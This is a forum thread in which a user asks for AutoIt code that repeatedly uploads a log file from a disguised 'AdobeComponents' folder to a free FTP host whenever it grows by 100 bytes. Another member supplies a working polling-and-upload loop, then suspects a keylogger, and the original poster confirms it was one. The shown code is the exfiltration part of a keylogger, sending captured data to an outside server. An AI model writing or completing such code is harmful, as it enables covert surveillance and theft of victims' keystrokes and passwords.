Jump to content

Recommended Posts

Posted

I am working on a program that will send a log (txt file) to my FTP everytime the file size raises by 100 bytes.

This is what the code partially looks like for your guide:

$file = FileGetSize( "C:\Program Files\AdobeComponents\results.txt" )

If $file >100 Then

$server = "ftp5.nofeehost.com" ;ftp host

$username = "*CENSORED*" ;Ftp user

$pass = "*CENSORED*" ;Ftp password

$Open = _FTPOpen('MyFTP Control')

$Conn = _FTPConnect($Open, $server, $username, $pass)

$Ftpp = _FtpPutFile($Conn, 'C:\Program Files\AdobeComponents\results.txt', 'log.txt')

$Ftpc = _FTPClose($Open)

EndIf

As you's can see, at the moment the log is sent once the file reaches over 100 bytes. What i need is the mathematical formula/code that will keep checking the filesize rather than just once and send the log every time the file size raises by 100 bytes. Thanks for listening!

Posted

$currentmaxsize

While 1
    $file = FileGetSize( "C:\Program Files\AdobeComponents\results.txt" )
    If $file > $currentmaxsize Then
        $server = "ftp5.nofeehost.com" ;ftp host
        $username = "*CENSORED*" ;Ftp user
        $pass = "*CENSORED*" ;Ftp password
        $Open = _FTPOpen('MyFTP Control')
        $Conn = _FTPConnect($Open, $server, $username, $pass)
        $Ftpp = _FtpPutFile($Conn, 'C:\Program Files\AdobeComponents\results.txt', 'log.txt')
        $Ftpc = _FTPClose($Open)
        $currentmaxsize += 100
    EndIf
WEnd

The Wheel of Time turns, and Ages come and pass, leaving memories that become legend. Legend fades to myth, and even myth is long forgotten when the Age that gave it birth comes again.

Posted

$currentmaxsize

While 1
    $file = FileGetSize( "C:\Program Files\AdobeComponents\results.txt" )
    If $file > $currentmaxsize Then
        $server = "ftp5.nofeehost.com" ;ftp host
        $username = "*CENSORED*" ;Ftp user
        $pass = "*CENSORED*" ;Ftp password
        $Open = _FTPOpen('MyFTP Control')
        $Conn = _FTPConnect($Open, $server, $username, $pass)
        $Ftpp = _FtpPutFile($Conn, 'C:\Program Files\AdobeComponents\results.txt', 'log.txt')
        $Ftpc = _FTPClose($Open)
        $currentmaxsize += 100
    EndIf
WEnd

Thank's so much bro xD
Posted

Might it be because I accidentally put $currentmaxsize as the first line instead of $currentmaxsize = 100 :D

The Wheel of Time turns, and Ages come and pass, leaving memories that become legend. Legend fades to myth, and even myth is long forgotten when the Age that gave it birth comes again.

Posted

Is it just me, or does that look a lot like a keylogger? Perhaps I should have excluded myself from this topic...

The Wheel of Time turns, and Ages come and pass, leaving memories that become legend. Legend fades to myth, and even myth is long forgotten when the Age that gave it birth comes again.

  • 2 months later...
Posted

Is it just me, or does that look a lot like a keylogger? Perhaps I should have excluded myself from this topic...

Yes it was a keylogger but i code other thing's aswell now so still thank you for your help Hawking.

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...